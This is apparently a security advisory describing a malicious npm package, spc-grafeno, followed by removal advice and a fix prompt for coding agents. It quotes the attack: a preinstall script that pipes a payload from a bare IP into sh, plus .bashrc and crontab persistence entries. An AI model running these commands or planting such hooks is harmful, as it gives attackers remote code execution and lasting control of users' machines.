# MAL-2026-15522: Malicious code in spc-grafeno (npm)


- **Type:** Malicious package
- **Package:** `spc-grafeno` (npm)
- **Published:** 28 Aug 2026

## What is MAL-2026-15522?

MAL-2026-15522 is a malicious package in spc-grafeno, published on 28 Aug 2026. 

### Official description

The package's preinstall lifecycle script runs `curl -s 216.126.236.46/x.sh | sh` via /bin/bash at `npm install` time, executing attacker-controlled code fetched from a bare IP over plain HTTP. The same script appends the identical curl-to-shell command to the installer's ~/.bashrc and adds a crontab entry `*/30 * * * * curl -s 216.126.236.46/x.sh|sh`, causing the remote payload to be re-fetched and executed on every new interactive shell and every 30 minutes thereafter. This yields full remote code execution on the installer's machine at install time plus durable persistence beyond the install.

## What should I do about MAL-2026-15522?

Remove the package from your dependencies and lockfiles, then rotate any secrets on machines where it was installed.

## Fix prompt for AI coding agents

```text
MAL-2026-15522 is a malicious package: spc-grafeno (npm). Every version was published to cause harm.

Task:
1. Search this repository's dependency manifests and lockfiles for the package, including transitive dependencies.
2. If it is present, remove it, regenerate the lockfile with the project's package manager, and replace whatever it was used for.
3. List any CI runners, developer machines or containers that installed it, so their secrets can be rotated.
4. If the package is not used anywhere, say so and change nothing.

Reference: https://insights.sbomify.com/MAL-2026-15522/ (Markdown: https://insights.sbomify.com/MAL-2026-15522/index.md)
```

## Sources

- OSV: https://osv.dev/vulnerability/MAL-2026-15522

---
From sbomify Insights: https://insights.sbomify.com/MAL-2026-15522/
Summaries are generated and may contain mistakes; the official description above is the record.
